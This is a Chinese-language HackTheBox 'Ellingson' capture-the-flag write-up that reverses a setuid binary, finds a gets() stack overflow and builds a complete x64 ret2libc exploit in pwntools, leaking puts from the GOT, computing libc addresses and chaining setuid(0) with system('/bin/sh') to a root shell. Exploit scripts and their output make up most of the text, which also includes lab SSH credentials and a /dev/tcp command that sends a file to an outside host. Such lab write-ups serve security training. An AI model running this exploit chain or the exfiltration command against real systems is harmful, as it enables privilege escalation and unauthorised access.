libc_start_main_real_addr 的值是 0x206f4e0a。puts 函数是用来打印字符串的，它遇到 \n (0x0a) 就会停止读取并输出换行符，然后返回。看一下这个地址 0x206f4e0a，它的最后一个字节是 0a，也就是换行符 \n。这就导致解包出来的 libc_start_main_real_addr 是一个完全错误的值 0x206f4e0a

ret2libc - x64

来自 HackTheBox - Ellingson

运行它的时候，会让你输入密码

margo@ellingson:~$ garbage
Enter access password: 111111111111111111111111111111111111111111111111111111

access denied.

拉出去逆向看一眼

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-8h] BYREF
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  v4 = check_user(argc, argv, envp);
  set_username(v4);
  if ( !(unsigned int)auth(v4) )
    exit(-1);
  puts("[+] W0rM || Control Application");
  puts("[+] ---------------------------");
  puts("Select Option");
  puts("1: Check Balance");
  puts("2: Launch");
  puts("3: Cancel");
  puts("4: Exit");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        printf("> ");
        __isoc99_scanf("%d%*c", &v3);
        if ( v3 != 2 )
          break;
        launch();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_14;
      checkbalance();
    }
    if ( v3 != 3 )
    {
      if ( v3 == 4 )
        exit(0);
LABEL_14:
      puts("Unknown option");
      exit(-1);
    }
    cancel();
  }
}

我们在开始运行的 auth 函数中发现了存在缓冲区溢出漏洞

也就是让我们输入密码的地方，会有缓冲区溢出，gets() 函数会无限制地读取用户的输入，直到遇到换行符。如果攻击者输入一个超长的字符串（例如200个字符），多出来的100个字符就会溢出，覆盖掉栈上 s1 相邻的其他数据。

__int64 __fastcall auth(int a1)
{
  char dest[112]; // [rsp+10h] [rbp-F0h] BYREF
  char s1[100]; // [rsp+80h] [rbp-80h] BYREF
  char v4[12]; // [rsp+E4h] [rbp-1Ch] BYREF
  int v5; // [rsp+F0h] [rbp-10h]

  v5 = a1;
  strcpy(v4, username);
  printf("Enter access password: ");
  gets(s1);
  putchar(10);
  if ( !strcmp(s1, "N3veRF3@r1iSh3r3!") )
  {
    strcpy(dest, "access granted for user: ");
    strcat(dest, v4);
    syslog(6, dest);
    puts("access granted.");
    return 1LL;
  }
  else
  {
    puts("access denied.");
    return 0LL;
  }
}

64位程序

➜  Ellingson file garbage 
garbage: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped

保护措施情况，开启了NX

➜  Ellingson checksec garbage 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.cache/.pwntools-cache-3.13/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.14.1)
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

检查一下是否开启了 ALSR ，开启了完全ALSR

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2

这里要使用 ret2libc 攻击

寻找一个真实的地址，首先我们查看libc文件

margo@ellingson:~$ ldd /usr/bin/garbage 
        linux-vdso.so.1 (0x00007ffcd37ec000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff0364b2000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff0368a3000)

将/lib/x86_64-linux-gnu/libc.so.6下载到靶机中

// kali
➜  Ellingson nc -lvp 1234 > libc.so.6
// Machine
margo@ellingson:~$ cat /lib/x86_64-linux-gnu/libc.so.6 > /dev/tcp/your-ip/1234

首先判断填充值，这里使用garbage

(pwn) ➜  Ellingson pwndbg garbage 
pwndbg> cyclic 1024
aaaabaaacaaadaaa...acwaacxaacyaac
pwndbg> run
Starting program: /root/Desktop/HackTheBox/Ellingson/garbage 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter access password:aaaabaaacaaadaaa...acwaacxaacyaac

程序果不其然崩溃了

计算偏移值，这里使用msf

➜  Ellingson /usr/bin/msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab...Ag0Ag1Ag2Ag3Ag4Ag5Ag

pwndbg> x/xg 0x7fffffffdf58
0x7fffffffdf58: 0x3765413665413565

(pwn) ➜  Ellingson /usr/bin/msf-pattern_offset -l 200 -q 0x3765413665413565        
[*] Exact match at offset 136

得到偏移值136 （PS：这里使用pwndbg的cyclic无法得到正确偏移值，但是WP中使用gef等都可以很容易就得到偏移值）

得到偏移值后，我们选择一下获得哪个plt函数的真实地址

pwndbg> plt
Section .plt 0x401020 - 0x401170:
0x401030: putchar@plt
0x401040: strcpy@plt
0x401050: puts@plt
0x401060: fclose@plt
0x401070: getpwuid@plt
0x401080: getuid@plt
0x401090: printf@plt
0x4010a0: rewind@plt
0x4010b0: fgetc@plt
0x4010c0: read@plt
0x4010d0: fgets@plt
0x4010e0: strcmp@plt
0x4010f0: getchar@plt
0x401100: gets@plt
0x401110: syslog@plt
0x401120: access@plt
0x401130: fopen@plt
0x401140: __isoc99_scanf@plt
0x401150: strcat@plt
0x401160: exit@plt

x64 传参需要使用寄存器，0x000000000040179b 符合

(pwn) ➜  Ellingson ROPgadget --binary garbage --only "pop|ret"
Gadgets information
============================================================
0x0000000000401794 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401796 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401798 : pop r14 ; pop r15 ; ret
0x000000000040179a : pop r15 ; ret
0x0000000000401793 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401797 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401239 : pop rbp ; ret
0x000000000040179b : pop rdi ; ret
0x0000000000401799 : pop rsi ; pop r15 ; ret
0x0000000000401795 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret
0x0000000000401072 : ret 0x2f
0x000000000040153a : ret 0x4864
0x0000000000401485 : ret 0x8d48
0x00000000004012ce : ret 0xd089

Unique gadgets found: 15

这里选择获得puts@plt ，我们通过pwn连接ssh 来调试

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_add = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_add:{hex(puts_real_add)}")

运行后我们的得到了put的真实地址0x7f8eed3569c0

(pwn) ➜  Ellingson python exp.py                              
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 21277
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_add = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_add:0x7f8eed3569c0

得到基地址，基地址 = puts 函数真实地址 - puts 函数偏移地址

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

(pwn) ➜  Ellingson python exp.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 21460
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_addr:0x7f7ed83509c0
libcbase:0x7f7ed82d0000

获得其他地址，得到基地址后，我们要得到 system 和 /bin/sh的地址

函数真实地址 = 基地址 + 函数偏移值

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

system_addr = libcbase + libc.sym['system']
print(f"system_addr:{hex(system_addr)}")

bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")

(pwn) ➜  Ellingson python exp.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 21644
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_addr:0x7f41e478b9c0
libcbase:0x7f41e470b000
system_addr:0x7f41e475a440
bin_sh_addr = 0x7f41e48bee9a/3

GetShell ，得到需要的地址后，我们可以进行获取Shell了

再此之前，我们还需要一个ret来实现堆栈平衡

(pwn) ➜  Ellingson ROPgadget --binary garbage --only "ret"    
Gadgets information
============================================================
0x0000000000401016 : ret
0x0000000000401072 : ret 0x2f
0x000000000040153a : ret 0x4864
0x0000000000401485 : ret 0x8d48
0x00000000004012ce : ret 0xd089

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

system_addr = libcbase + libc.sym['system']
print(f"system_addr:{hex(system_addr)}")

bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")

ret_addr = 0x0000000000401016

payload2 = b'A' * 136 + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()

然后我们运行，但是权限只是 margo的权限

$ $ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)

GetRootShell，我们还需要进行将shell权限提升，可以使用setuid

from pwn import *
r = ssh(host='ellingson.htb', user='margo', password='iamgod$08')
p = r.process('/usr/bin/garbage')
e = ELF('./garbage')
libc = ELF('./libc.so.6')

puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
start_addr = e.symbols['_start']
pop_rdi_addr = 0x000000000040179b

payload1 = b'A' * 136 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(start_addr) 
p.sendlineafter(b'Enter access password:',payload1)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(f"puts_real_addr:{hex(puts_real_addr)}")

libcbase = puts_real_addr - libc.sym['puts']
print(f"libcbase:{hex(libcbase)}")

system_addr = libcbase + libc.sym['system']
print(f"system_addr:{hex(system_addr)}")

bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))
print(f"bin_sh_addr = {hex(bin_sh_addr)}")

ret_addr = 0x0000000000401016

setuid_addr = libcbase + libc.sym['setuid']

payload2 = b'A' * 136 + p64(ret_addr) + p64(pop_rdi_addr) + p64(0) + p64(setuid_addr) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

p.sendline(payload2)
p.interactive()

运行获得 RootShell

(pwn) ➜  Ellingson python exp.py
[+] Connecting to ellingson.htb on port 22: Done
[*] margo@ellingson.htb:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
    SHSTK:    Disabled
    IBT:      Disabled
[+] Starting remote process None on ellingson.htb: pid 22208
[!] ASLR is disabled for '/usr/bin/garbage'!
[*] '/root/Desktop/HackTheBox/Ellingson/garbage'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/root/Desktop/HackTheBox/Ellingson/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
/root/Desktop/HackTheBox/Ellingson/exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_real_addr:0x7fc6c64fd9c0
libcbase:0x7fc6c647d000
system_addr:0x7fc6c64cc440
bin_sh_addr = 0x7fc6c6630e9a
[*] Switching to interactive mode

Enter access password: 
access denied.
# $ id
uid=0(root) gid=1002(margo) groups=1002(margo)